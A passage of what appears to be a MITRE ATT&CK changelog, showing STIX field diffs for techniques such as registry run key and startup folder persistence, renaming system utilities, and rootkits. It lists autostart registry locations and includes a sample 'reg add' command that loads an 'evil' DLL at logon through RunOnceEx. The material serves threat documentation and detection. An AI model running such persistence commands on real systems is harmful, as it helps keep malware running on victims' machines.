| > | gregation services. Adversaries may also purchase informatio | > | s may also purchase information from less-reputable sources | ||
| > | n from less-reputable sources such as dark web or cybercrime | > | such as dark web or cybercrime blackmarkets. Adversaries ma | ||
| > | blackmarkets. Adversaries may purchase information about t | > | y purchase information about their already identified target | ||
| > | heir already identified targets, or use purchased data to di | > | s, or use purchased data to discover opportunities for succe | ||
| > | scover opportunities for successful breaches. Threat actors | > | ssful breaches. Threat actors may gather various technical d | ||
| > | may gather various technical details from purchased data, in | > | etails from purchased data, including but not limited to emp | ||
| > | cluding but not limited to employee contact information, cre | > | loyee contact information, credentials, or specifics regardi | ||
| > | dentials, or specifics regarding a victim’s infrastructure.( | > | ng a victim’s infrastructure.(Citation: ZDNET Selling Data) | ||
| > | Citation: ZDNET Selling Data) Information from these sources | > | Information from these sources may reveal opportunities for | ||
| > | may reveal opportunities for other forms of reconnaissance | > | other forms of reconnaissance (ex: [Phishing for Information | ||
| > | (ex: [Phishing for Information](https://attack.mitre.org/tec | > | ](https://attack.mitre.org/techniques/T1598) or [Search Open | ||
| > | hniques/T1598) or [Search Open Websites/Domains](https://att | > | Websites/Domains](https://attack.mitre.org/techniques/T1593 | ||
| > | ack.mitre.org/techniques/T1593)), establishing operational r | > | )), establishing operational resources (ex: [Develop Capabil | ||
| > | esources (ex: [Develop Capabilities](https://attack.mitre.or | > | ities](https://attack.mitre.org/techniques/T1587) or [Obtain | ||
| > | g/techniques/T1587) or [Obtain Capabilities](https://attack. | > | Capabilities](https://attack.mitre.org/techniques/T1588)), | ||
| > | mitre.org/techniques/T1588)), and/or initial access (ex: [Ex | > | and/or initial access (ex: [External Remote Services](https: | ||
| > | ternal Remote Services](https://attack.mitre.org/techniques/ | > | //attack.mitre.org/techniques/T1133) or [Valid Accounts](htt | ||
| > | T1133) or [Valid Accounts](https://attack.mitre.org/techniqu | > | ps://attack.mitre.org/techniques/T1078)). | ||
| > | es/T1078)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:15:26.840000+00:00 | 2021-04-15 03:44:43.900000+00:00 |
| description | Before compromising a victim, adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets. Adversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim’s infrastructure.(Citation: ZDNET Selling Data) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). | Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets. Adversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim’s infrastructure.(Citation: ZDNET Selling Data) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). |
Current version: 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-23 19:03:15.180000+00:00 | 2021-07-26 22:49:23.094000+00:00 |
| x_mitre_data_sources[0] | System calls | Command: Command Execution |
| x_mitre_data_sources[1] | Process monitoring | Process: Process Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process command-line parameters | |
| x_mitre_data_sources | API monitoring |
Current version: 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may achieve persistence by adding a program to a | t | 1 | Adversaries may achieve persistence by adding a program to a |
| > | startup folder or referencing it with a Registry run key. A | > | startup folder or referencing it with a Registry run key. A | ||
| > | dding an entry to the "run keys" in the Registry or startup | > | dding an entry to the "run keys" in the Registry or startup | ||
| > | folder will cause the program referenced to be executed when | > | folder will cause the program referenced to be executed when | ||
| > | a user logs in. (Citation: Microsoft Run Key) These program | > | a user logs in.(Citation: Microsoft Run Key) These programs | ||
| > | s will be executed under the context of the user and will ha | > | will be executed under the context of the user and will hav | ||
| > | ve the account's associated permissions level. Placing a pr | > | e the account's associated permissions level. Placing a pro | ||
| > | ogram within a startup folder will also cause that program t | > | gram within a startup folder will also cause that program to | ||
| > | o execute when a user logs in. There is a startup folder loc | > | execute when a user logs in. There is a startup folder loca | ||
| > | ation for individual user accounts as well as a system-wide | > | tion for individual user accounts as well as a system-wide s | ||
| > | startup folder that will be checked regardless of which user | > | tartup folder that will be checked regardless of which user | ||
| > | account logs in. The startup folder path for the current us | > | account logs in. The startup folder path for the current use | ||
| > | er is <code>C:\Users\[Username]\AppData\Roaming\Microsoft\Wi | > | r is <code>C:\Users\\[Username]\AppData\Roaming\Microsoft\Wi | ||
| > | ndows\Start Menu\Programs\Startup</code>. The startup folder | > | ndows\Start Menu\Programs\Startup</code>. The startup folder | ||
| > | path for all users is <code>C:\ProgramData\Microsoft\Window | > | path for all users is <code>C:\ProgramData\Microsoft\Window | ||
| > | s\Start Menu\Programs\StartUp</code>. The following run key | > | s\Start Menu\Programs\StartUp</code>. The following run key | ||
| > | s are created by default on Windows systems: * <code>HKEY_C | > | s are created by default on Windows systems: * <code>HKEY_C | ||
| > | URRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run</c | > | URRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run</c | ||
| > | ode> * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\Cu | > | ode> * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\Cu | ||
| > | rrentVersion\RunOnce</code> * <code>HKEY_LOCAL_MACHINE\Softw | > | rrentVersion\RunOnce</code> * <code>HKEY_LOCAL_MACHINE\Softw | ||
| > | are\Microsoft\Windows\CurrentVersion\Run</code> * <code>HKEY | > | are\Microsoft\Windows\CurrentVersion\Run</code> * <code>HKEY | ||
| > | _LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run | > | _LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run | ||
| > | Once</code> Run keys may exist under multiple hives.(Citati | > | Once</code> Run keys may exist under multiple hives.(Citati | ||
| > | on: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow64 | > | on: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow64 | ||
| > | 32Node 2016) The <code>HKEY_LOCAL_MACHINE\Software\Microsoft | > | 32Node 2016) The <code>HKEY_LOCAL_MACHINE\Software\Microsoft | ||
| > | \Windows\CurrentVersion\RunOnceEx</code> is also available b | > | \Windows\CurrentVersion\RunOnceEx</code> is also available b | ||
| > | ut is not created by default on Windows Vista and newer. Reg | > | ut is not created by default on Windows Vista and newer. Reg | ||
| > | istry run key entries can reference programs directly or lis | > | istry run key entries can reference programs directly or lis | ||
| > | t them as a dependency. (Citation: Microsoft RunOnceEx APR 2 | > | t them as a dependency.(Citation: Microsoft Run Key) For exa | ||
| > | 018) For example, it is possible to load a DLL at logon usin | > | mple, it is possible to load a DLL at logon using a "Depend" | ||
| > | g a "Depend" key with RunOnceEx: <code>reg add HKLM\SOFTWARE | > | key with RunOnceEx: <code>reg add HKLM\SOFTWARE\Microsoft\W | ||
| > | \Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 | > | indows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp | ||
| > | /d "C:\temp\evil[.]dll"</code> (Citation: Oddvar Moe RunOnc | > | \evil[.]dll"</code> (Citation: Oddvar Moe RunOnceEx Mar 2018 | ||
| > | eEx Mar 2018) The following Registry keys can be used to se | > | ) The following Registry keys can be used to set startup fo | ||
| > | t startup folder items for persistence: * <code>HKEY_CURREN | > | lder items for persistence: * <code>HKEY_CURRENT_USER\Softw | ||
| > | T_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Us | > | are\Microsoft\Windows\CurrentVersion\Explorer\User Shell Fol | ||
| > | er Shell Folders</code> * <code>HKEY_CURRENT_USER\Software\M | > | ders</code> * <code>HKEY_CURRENT_USER\Software\Microsoft\Win | ||
| > | icrosoft\Windows\CurrentVersion\Explorer\Shell Folders</code | > | dows\CurrentVersion\Explorer\Shell Folders</code> * <code>HK | ||
| > | > * <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr | > | EY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\E | ||
| > | entVersion\Explorer\Shell Folders</code> * <code>HKEY_LOCAL_ | > | xplorer\Shell Folders</code> * <code>HKEY_LOCAL_MACHINE\SOFT | ||
| > | MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\U | > | WARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Fo | ||
| > | ser Shell Folders</code> The following Registry keys can co | > | lders</code> The following Registry keys can control automa | ||
| > | ntrol automatic startup of services during boot: * <code>HK | > | tic startup of services during boot: * <code>HKEY_LOCAL_MAC | ||
| > | EY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\R | > | HINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOn | ||
| > | unServicesOnce</code> * <code>HKEY_CURRENT_USER\Software\Mic | > | ce</code> * <code>HKEY_CURRENT_USER\Software\Microsoft\Windo | ||
| > | rosoft\Windows\CurrentVersion\RunServicesOnce</code> * <code | > | ws\CurrentVersion\RunServicesOnce</code> * <code>HKEY_LOCAL_ | ||
| > | >HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersio | > | MACHINE\Software\Microsoft\Windows\CurrentVersion\RunService | ||
| > | n\RunServices</code> * <code>HKEY_CURRENT_USER\Software\Micr | > | s</code> * <code>HKEY_CURRENT_USER\Software\Microsoft\Window | ||
| > | osoft\Windows\CurrentVersion\RunServices</code> Using polic | > | s\CurrentVersion\RunServices</code> Using policy settings t | ||
| > | y settings to specify startup programs creates corresponding | > | o specify startup programs creates corresponding values in e | ||
| > | values in either of two Registry keys: * <code>HKEY_LOCAL_ | > | ither of two Registry keys: * <code>HKEY_LOCAL_MACHINE\Soft | ||
| > | MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\E | > | ware\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run< | ||
| > | xplorer\Run</code> * <code>HKEY_CURRENT_USER\Software\Micros | > | /code> * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\ | ||
| > | oft\Windows\CurrentVersion\Policies\Explorer\Run</code> The | > | CurrentVersion\Policies\Explorer\Run</code> The Winlogon ke | ||
| > | Winlogon key controls actions that occur when a user logs o | > | y controls actions that occur when a user logs on to a compu | ||
| > | n to a computer running Windows 7. Most of these actions are | > | ter running Windows 7. Most of these actions are under the c | ||
| > | under the control of the operating system, but you can also | > | ontrol of the operating system, but you can also add custom | ||
| > | add custom actions here. The <code>HKEY_LOCAL_MACHINE\Softw | > | actions here. The <code>HKEY_LOCAL_MACHINE\Software\Microsof | ||
| > | are\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit</c | > | t\Windows NT\CurrentVersion\Winlogon\Userinit</code> and <co | ||
| > | ode> and <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows | > | de>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentV | ||
| > | NT\CurrentVersion\Winlogon\Shell</code> subkeys can automat | > | ersion\Winlogon\Shell</code> subkeys can automatically launc | ||
| > | ically launch programs. Programs listed in the load value o | > | h programs. Programs listed in the load value of the regist | ||
| > | f the registry key <code>HKEY_CURRENT_USER\Software\Microsof | > | ry key <code>HKEY_CURRENT_USER\Software\Microsoft\Windows NT | ||
| > | t\Windows NT\CurrentVersion\Windows</code> run when any user | > | \CurrentVersion\Windows</code> run when any user logs on. B | ||
| > | logs on. By default, the multistring <code>BootExecute</co | > | y default, the multistring <code>BootExecute</code> value of | ||
| > | de> value of the registry key <code>HKEY_LOCAL_MACHINE\Syste | > | the registry key <code>HKEY_LOCAL_MACHINE\System\CurrentCon | ||
| > | m\CurrentControlSet\Control\Session Manager</code> is set to | > | trolSet\Control\Session Manager</code> is set to <code>autoc | ||
| > | <code>autocheck autochk *</code>. This value causes Windows | > | heck autochk *</code>. This value causes Windows, at startup | ||
| > | , at startup, to check the file-system integrity of the hard | > | , to check the file-system integrity of the hard disks if th | ||
| > | disks if the system has been shut down abnormally. Adversar | > | e system has been shut down abnormally. Adversaries can add | ||
| > | ies can add other programs or processes to this registry val | > | other programs or processes to this registry value which wil | ||
| > | ue which will automatically launch at boot. Adversaries can | > | l automatically launch at boot. Adversaries can use these c | ||
| > | use these configuration locations to execute malware, such | > | onfiguration locations to execute malware, such as remote ac | ||
| > | as remote access tools, to maintain persistence through syst | > | cess tools, to maintain persistence through system reboots. | ||
| > | em reboots. Adversaries may also use [Masquerading](https:// | > | Adversaries may also use [Masquerading](https://attack.mitre | ||
| > | attack.mitre.org/techniques/T1036) to make the Registry entr | > | .org/techniques/T1036) to make the Registry entries look as | ||
| > | ies look as if they are associated with legitimate programs. | > | if they are associated with legitimate programs. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| external_references | Arntz, P. (2016, March 30). Hiding in Plain Sight. Retrieved August 3, 2020. | |
| external_references | CAPEC-270 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | CAPEC-270 | |
| external_references | Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden from Autoruns.exe. Retrieved June 29, 2018. |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-08-03 16:30:26.918000+00:00 | 2022-05-12 21:44:30.466000+00:00 |
| description | Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.
Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup. The startup folder path for all users is C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp.
The following run keys are created by default on Windows systems:
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
Run keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll" (Citation: Oddvar Moe RunOnceEx Mar 2018)
The following Registry keys can be used to set startup folder items for persistence:
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
* HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
* HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
The following Registry keys can control automatic startup of services during boot:
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
The Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit and HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell subkeys can automatically launch programs.
Programs listed in the load value of the registry key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows run when any user logs on.
By default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.
Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs. | Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.
Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\Users\\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup. The startup folder path for all users is C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp.
The following run keys are created by default on Windows systems:
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
Run keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll" (Citation: Oddvar Moe RunOnceEx Mar 2018)
The following Registry keys can be used to set startup folder items for persistence:
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
* HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
* HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
The following Registry keys can control automatic startup of services during boot:
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
The Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit and HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell subkeys can automatically launch programs.
Programs listed in the load value of the registry key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows run when any user logs on.
By default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.
Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs. |
| external_references[1]['source_name'] | capec | Malwarebytes Wow6432Node 2016 |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/270.html | https://blog.malwarebytes.com/cybercrime/2013/10/hiding-in-plain-sight/ |
| external_references[2]['source_name'] | Microsoft Run Key | Microsoft Wow6432Node 2018 |
| external_references[2]['description'] | Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014. | Microsoft. (2018, May 31). 32-bit and 64-bit Application Data in the Registry. Retrieved August 3, 2020. |
| external_references[2]['url'] | http://msdn.microsoft.com/en-us/library/aa376977 | https://docs.microsoft.com/en-us/windows/win32/sysinfo/32-bit-and-64-bit-application-data-in-the-registry |
| external_references[3]['source_name'] | Microsoft Wow6432Node 2018 | Microsoft Run Key |
| external_references[3]['description'] | Microsoft. (2018, May 31). 32-bit and 64-bit Application Data in the Registry. Retrieved August 3, 2020. | Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014. |
| external_references[3]['url'] | https://docs.microsoft.com/en-us/windows/win32/sysinfo/32-bit-and-64-bit-application-data-in-the-registry | http://msdn.microsoft.com/en-us/library/aa376977 |
| external_references[4]['source_name'] | Malwarebytes Wow6432Node 2016 | Oddvar Moe RunOnceEx Mar 2018 |
| external_references[4]['description'] | Arntz, P. (2016, March 30). Hiding in Plain Sight. Retrieved August 3, 2020. | Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden from Autoruns.exe. Retrieved June 29, 2018. |
| external_references[4]['url'] | https://blog.malwarebytes.com/cybercrime/2013/10/hiding-in-plain-sight/ | https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/ |
| external_references[5]['source_name'] | Microsoft RunOnceEx APR 2018 | TechNet Autoruns |
| external_references[5]['description'] | Microsoft. (2018, August 20). Description of the RunOnceEx Registry Key. Retrieved June 29, 2018. | Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. |
| external_references[5]['url'] | https://support.microsoft.com/help/310593/description-of-the-runonceex-registry-key | https://technet.microsoft.com/en-us/sysinternals/bb963902 |
| external_references[6]['source_name'] | Oddvar Moe RunOnceEx Mar 2018 | capec |
| external_references[6]['url'] | https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/ | https://capec.mitre.org/data/definitions/270.html |
| x_mitre_data_sources[0] | Windows Registry | Process: Process Creation |
| x_mitre_data_sources[1] | File monitoring | Windows Registry: Windows Registry Key Modification |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File: File Modification | |
| x_mitre_data_sources | Windows Registry: Windows Registry Key Creation | |
| x_mitre_data_sources | Command: Command Execution |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'TechNet Autoruns', 'description': 'Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', 'url': 'https://technet.microsoft.com/en-us/sysinternals/bb963902'} |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may rename legitimate system utilities to try to | t | 1 | Adversaries may rename legitimate system utilities to try to |
| > | evade security mechanisms concerning the usage of those uti | > | evade security mechanisms concerning the usage of those uti | ||
| > | lities. Security monitoring and control mechanisms may be in | > | lities. Security monitoring and control mechanisms may be in | ||
| > | place for system utilities adversaries are capable of abusi | > | place for system utilities adversaries are capable of abusi | ||
| > | ng. (Citation: LOLBAS Main Site) It may be possible to bypas | > | ng. (Citation: LOLBAS Main Site) It may be possible to bypas | ||
| > | s those security mechanisms by renaming the utility prior to | > | s those security mechanisms by renaming the utility prior to | ||
| > | utilization (ex: rename <code>rundll32.exe</code>). (Citati | > | utilization (ex: rename <code>rundll32.exe</code>). (Citati | ||
| > | on: Endgame Masquerade Ball) An alternative case occurs when | > | on: Elastic Masquerade Ball) An alternative case occurs when | ||
| > | a legitimate utility is copied or moved to a different dire | > | a legitimate utility is copied or moved to a different dire | ||
| > | ctory and renamed to avoid detections based on system utilit | > | ctory and renamed to avoid detections based on system utilit | ||
| > | ies executing from non-standard paths. (Citation: F-Secure C | > | ies executing from non-standard paths. (Citation: F-Secure C | ||
| > | ozyDuke) | > | ozyDuke) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-02-10 20:03:11.691000+00:00 | 2020-11-23 17:03:38.941000+00:00 |
| description | Adversaries may rename legitimate system utilities to try to evade security mechanisms concerning the usage of those utilities. Security monitoring and control mechanisms may be in place for system utilities adversaries are capable of abusing. (Citation: LOLBAS Main Site) It may be possible to bypass those security mechanisms by renaming the utility prior to utilization (ex: rename rundll32.exe). (Citation: Endgame Masquerade Ball) An alternative case occurs when a legitimate utility is copied or moved to a different directory and renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke) | Adversaries may rename legitimate system utilities to try to evade security mechanisms concerning the usage of those utilities. Security monitoring and control mechanisms may be in place for system utilities adversaries are capable of abusing. (Citation: LOLBAS Main Site) It may be possible to bypass those security mechanisms by renaming the utility prior to utilization (ex: rename rundll32.exe). (Citation: Elastic Masquerade Ball) An alternative case occurs when a legitimate utility is copied or moved to a different directory and renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke) |
| external_references[2]['source_name'] | Endgame Masquerade Ball | Elastic Masquerade Ball |
| x_mitre_data_sources[0] | File monitoring | File: File Metadata |
| x_mitre_data_sources[1] | Process monitoring | File: File Modification |
| x_mitre_data_sources[2] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[3] | Binary file metadata | Process: Process Metadata |
| x_mitre_detection | If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Endgame Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update) | If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update) |
Current version: 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| external_references | Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017. | |
| external_references | CAPEC-552 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['Administrator', 'SYSTEM', 'root'] | |
| external_references | CAPEC-552 | |
| external_references | Pan, M., Tsai, S. (2014). You can’t see me: A Mac OS X Rootkit uses the tricks you haven't known yet. Retrieved December 21, 2017. |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:29:55.496000+00:00 | 2022-05-05 05:09:39.723000+00:00 |
